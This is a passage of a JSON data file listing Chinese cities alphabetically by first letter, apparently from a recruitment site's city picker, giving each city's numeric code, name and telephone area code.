0, "color": null, "recruitmentType": null, "cityCode": "0930", "regionCode": 0 }, { "code": 101180900, "name": "洛阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0379", "regionCode": 0 }, { "code": 101181500, "name": "漯河", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0395", "regionCode": 0 }, { "code": 101191000, "name": "连云港", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0518", "regionCode": 0 }, { "code": 101210800, "name": "丽水", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0578", "regionCode": 0 }, { "code": 101221400, "name": "六安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0564", "regionCode": 0 }, { "code": 101230700, "name": "龙岩", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0597", "regionCode": 0 }, { "code": 101250800, "name": "娄底", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0738", "regionCode": 0 }, { "code": 101260600, "name": "六盘水", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0858", "regionCode": 0 }, { "code": 101271000, "name": "泸州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0830", "regionCode": 0 }, { "code": 101271400, "name": "乐山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0833", "regionCode": 0 }, { "code": 101272000, "name": "凉山彝族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0834", "regionCode": 0 }, { "code": 101290800, "name": "临沧", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0883", "regionCode": 0 }, { "code": 101290900, "name": "丽江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0888", "regionCode": 0 }, { "code": 101300300, "name": "柳州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0772", "regionCode": 0 }, { "code": 101300400, "name": "来宾", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1772", "regionCode": 0 }, { "code": 101311300, "name": "临高", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1896", "regionCode": 0 }, { "code": 101311600, "name": "乐东黎族自治县", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "2802", "regionCode": 0 }, { "code": 101311700, "name": "陵水黎族自治县", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "809", "regionCode": 0 } ] }, { "firstChar": "M", "cityList": [ { "code": 101050300, "name": "牡丹江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0453", "regionCode": 0 }, { "code": 101220500, "name": "马鞍山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0555", "regionCode": 0 }, { "code": 101270400, "name": "绵阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0816", "regionCode": 0 }, { "code": 101271500, "name": "眉山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1833", "regionCode": 0 }, { "code": 101280400, "name": "梅州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0753", "regionCode": 0 }, { "code": 101282000, "name": "茂名", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0668", "regionCode": 0 } ] }, { "firstChar": "N", "cityList": [ { "code": 101140600, "name": "那曲", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0896", "regionCode": 0 }, { "code": 101180700, "name": "南阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0377", "regionCode": 0 }, { "code": 101190100, "name": "南京", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "025", "regionCode": 0 }, { "code": 101190500, "name": "南通", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0513", "regionCode": 0 }, { "code": 101210400, "name": "宁波", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0574", "regionCode": 0 }, { "code": 101230300, "name": "宁德", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0593", "regionCode": 0 }, { "code": 101230900, "name": "南平", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0599", "regionCode": 0 }, { "code": 101240100, "name": "南昌", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0791", "regionCode": 0 }, { "code": 101270500, "name": "南充", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0817", "regionCode": 0 }, { "code": 101271200, "name": "内江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1832", "regionCode": 0 }, { "code": 101291400, "name": "怒江傈僳族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0886", "regionCode": 0 }, { "code": 101300100, "name": "南宁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0771", "regionCode": 0 } ] }, { "firstChar": "P", "cityList": [ { "code": 101071300, "name": "盘锦", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0427", "regionCode": 0 }, { "code": 101160300, "name": "平凉", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0933", "regionCode": 0 }, { "code": 101180500, "name": "平顶山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0375", "regionCode": 0 }, { "code": 101181300, "name": "濮阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0393", "regionCode": 0 }, { "code": 101230400, "name": "莆田", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0594", "regionCode": 0 }, { "code": 101240900, "name": "萍乡", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0799", "regionCode": 0 }, { "code": 101270200, "name": "攀枝花", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0812", "regionCode": 0 }, { "code": 101290500, "name": "普洱", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0879", "regionCode": 0 } ] }, { "firstChar": "Q", "cityList": [ { "code": 101050200, "name": "齐齐哈尔", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0452", "regionCode": 0 }, { "code": 101050900, "name": "七台河", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0464", "regionCode": 0 }, { "code": 101091100, "name": "秦皇岛", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0335", "regionCode": 0 }, { "code": 101120200, "name": "青岛", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0532", "regionCode": 0 }, { "code": 101160400, "name": "庆阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0934", "regionCode": 0 }, { "code": 101201500, "name": "潜江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "2728", "regionCode": 0 }, { "code": 101211000, "name": "衢州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0570", "regionCode": 0 }, { "code": 101230500, "name": "泉州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0595", "regionCode": 0 }, { "code": 101260700, "name": "黔东南苗族侗族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0855", "regionCode": 0 }, { "code": 101260800, "name": "黔南布依族苗族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0854", "regionCode": 0 }, { "code": 101260900, "name": "黔西南布依族苗族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0859", "regionCode": 0 }, { "code": 101281300, "name": "清远", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0763", "regionCode": 0 }, { "code": 101290200, "name": "曲靖", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0874", "regionCode": 0 }, { "code": 101301100, "name": "钦州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0777", "regionCode": 0 }, { "code": 101310600, "name": "琼海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1894", "regionCode": 0 }, { "code": 101311900, "name": "琼中黎族苗族自治县", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1899", "regionCode": 0 } ] }, { "firstChar": "R", "cityList": [ { "code": 101121500, "name": "日照", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0633", "regionCode": 0 }, { "code": 101140200, "name": "日喀则", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0892", "regionCode": 0 } ] }, { "firstChar": "S", "cityList": [ { "code": 101020100, "name": "上海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "021", "regionCode": 0 }, { "code": 101050500, "name": "绥化", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0455", "regionCode": 0 }, { "code": 101051200, "name": "双鸭山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0469", "regionCode": 0 }, { "code": 101060300, "name": "四平", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0434", "regionCode": 0 }, { "code": 101060700, "name": "松原", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0438", "regionCode": 0 }, { "code": 101070100, "name": "沈阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "024", "regionCode": 0 }, { "code": 101090100, "name": "石家庄", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0311", "regionCode": 0 }, { "code": 101100900, "name": "朔州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0349", "regionCode": 0 }, { "code": 101110600, "name": "商洛", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0914", "regionCode": 0 }, { "code": 101131600, "name": "石河子", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0993", "regionCode": 0 }, { "code": 101132400, "name": "双河市", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1909", "regionCode": 0 }, { "code": 101140500, "name": "山南", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0893", "regionCode": 0 }, { "code": 101170200, "name": "石嘴山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0952", "regionCode": 0 }, { "code": 101181000, "name": "商丘", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0370", "regionCode": 0 }, { "code": 101181700, "name": "三门峡", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0398", "regionCode": 0 }, { "code": 101190400, "name": "苏州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0512", "regionCode": 0 }, { "code": 101191300, "name": "宿迁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0527", "regionCode": 0 }, { "code": 101201000, "name": "十堰", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0719", "regionCode": 0 }, { "code": 101201100, "name": "随州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0722", "regionCode": 0 }, { "code": 101201700, "name": "神农架", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1719", "regionCode": 0 }, { "code": 101210500, "name": "绍兴", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0575", "regionCode": 0 }, { "code": 101220700, "name": "宿州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0557", "regionCode": 0 }, { "code": 101230800, "name": "三明", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0598", "regionCode": 0 }, { "code": 101240300, "name": "上饶", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0793", "regionCode": 0 }, { "code": 101250900, "name": "邵阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0739", "regionCode": 0 }, { "code": 101270700, "name": "遂宁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0825", "regionCode": 0 }, { "code": 101280200, "name": "韶关", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0751", "regionCode": 0 }, { "code": 101280500, "name": "汕头", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0754", "regionCode": 0 }, { "code": 101280600, "name": "深圳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0755", "regionCode": 0 }, { "code": 101282100, "name": "汕尾", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0660", "regionCode": 0 }, { "code": 101310200, "name": "三亚", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0899", "regionCode": 0 }, { "code": 101310300, "name": "三沙", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0898x", "regionCode": 0 } ] }, { "firstChar": "T", "cityList": [ { "code": 101030100, "name": "天津", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "022", "regionCode": 0 }, { "code": 101060400, "name": "通化", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0435", "regionCode": 0 }, { "code": 101071100, "name": "铁岭", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0410", "regionCode": 0 }, { "code": 101080400, "name": "通辽", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0475", "regionCode": 0 }, { "code": 101090500, "name": "唐山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0315", "regionCode": 0 }, { "code": 101100100, "name": "太原", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0351", "regionCode": 0 }, { "code": 101111000, "name": "铜川", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0919", "regionCode": 0 }, { "code": 101120800, "name": "泰安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0538", "regionCode": 0 }, { "code": 101130800, "name": "吐鲁番", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0995", "regionCode": 0 }, { "code": 101131400, "name": "塔城地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0901", "regionCode": 0 }, { "code": 101131800, "name": "图木舒克", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1998", "regionCode": 0 }, { "code": 101132000, "name": "铁门关", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "2000", "regionCode": 0 }, { "code": 101160900, "name": "天水", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0938", "regionCode": 0 }, { "code": 101191200, "name": "泰州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0523", "regionCode": 0 }, { "code": 101201600, "name": "天门", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1728", "regionCode": 0 }, { "code": 101210600, "name": "台州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0576", "regionCode": 0 }, { "code": 101221200, "name": "铜陵", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0562", "regionCode": 0 }, { "code": 101260400, "name": "铜仁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0856", "regionCode": 0 }, { "code": 101311100, "name": "屯昌", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1892", "regionCode": 0 }, { "code": 101341100, "name": "台湾", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "", "regionCode": 0 } ] }, { "firstChar": "W", "cityList": [ { "code": 101080300, "name": "乌海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0473", "regionCode": 0 }, { "code": 101080900, "name": "乌兰察布", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0474", "regionCode": 0 }, { "code": 101110500, "name": "渭南", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0913", "regionCode": 0 }, { "code": 101120600, "name": "潍坊", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0536", "regionCode": 0 }, { "code": 101121300, "name": "威海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0631", "regionCode": 0 }, { "code": 101130100, "name": "乌鲁木齐", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 